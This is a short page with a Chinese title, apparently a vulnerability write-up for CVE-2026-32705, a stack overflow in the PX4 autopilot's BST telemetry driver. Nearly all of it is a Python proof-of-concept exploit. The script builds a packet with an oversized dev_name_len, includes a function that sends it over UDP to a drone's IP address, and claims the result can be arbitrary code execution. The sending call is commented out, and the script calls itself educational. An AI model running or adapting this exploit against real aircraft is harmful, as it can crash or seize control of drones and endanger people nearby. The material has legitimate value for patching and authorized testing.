PX4 autopilot BST telemetry栈溢出漏洞 (CVE-2026-32705)

#!/usr/bin/env python3 # CVE-2026-32705 PoC - Malicious BST Device Simulation # This PoC demonstrates how a malicious BST device can trigger stack overflow # in PX4 autopilot's BST telemetry driver import struct import socket import time def create_malicious_bst_packet(): """ Create a malicious BST packet with oversized dev_name_len to trigger stack overflow in PX4 BST telemetry driver """ # BST message header bst_magic = 0x424C # 'BL' magic bytes msg_type = 0x0001 # Device info message type # Malicious oversized dev_name_len # This will cause stack overflow when driver writes string terminator malicious_dev_name_len = 0xFFFF # Oversized length without bounds check # Build malicious BST packet packet = struct.pack('<HH', bst_magic, msg_type) packet += struct.pack('<H', malicious_dev_name_len) # Add oversized device name data overflow_data = b'A' * malicious_dev_name_len packet += overflow_data return packet def exploit_px4_bst_telemetry(target_ip='192.168.1.100', target_port=14556): """ Send malicious BST packet to trigger CVE-2026-32705 Args: target_ip: IP address of the PX4-enabled drone target_port: BST telemetry port (default MAVLink port) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) malicious_packet = create_malicious_bst_packet() print(f"[*] Sending malicious BST packet to {target_ip}:{target_port}") print(f"[*] Packet size: {len(malicious_packet)} bytes") print(f"[*] Malicious dev_name_len: 0xFFFF") sock.sendto(malicious_packet, (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[!] Target PX4 BST driver may have crashed or been exploited") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def simulate_bst_device(): """ Simulate a malicious BST device that can be connected to drone's BST port This represents the physical attack vector (AV:P) """ print("=" * 60) print("CVE-2026-32705 - PX4 BST Telemetry Stack Overflow PoC") print("=" * 60) print("\n[*] Attack Vector: Physical access to BST telemetry port") print("[*] Target: PX4 autopilot < 1.17.0-rc2") print("[*] Vulnerability: Stack overflow via oversized dev_name_len") print("\n[!] This PoC is for educational and authorized testing purposes only") print("\n[*] Simulating malicious BST device...") # Generate the malicious packet packet = create_malicious_bst_packet() print(f"[+] Generated malicious BST packet") print(f" - Magic: 0x424C") print(f" - Message Type: 0x0001 (Device Info)") print(f" - dev_name_len: 0xFFFF (malicious oversized value)") print(f" - Total packet size: {len(packet)} bytes") print("\n[*] When received by vulnerable PX4 BST driver:") print(" 1. Driver reads dev_name_len = 0xFFFF") print(" 2. Driver writes string terminator at stack offset 0xFFFF") print(" 3. Stack buffer overflow occurs") print(" 4. Return address / function pointers can be overwritten") print(" 5. Arbitrary code execution possible") return packet if __name__ == "__main__": simulate_bst_device() # Uncomment to actually send the packet: # exploit_px4_bst_telemetry('DRONE_IP', 14556)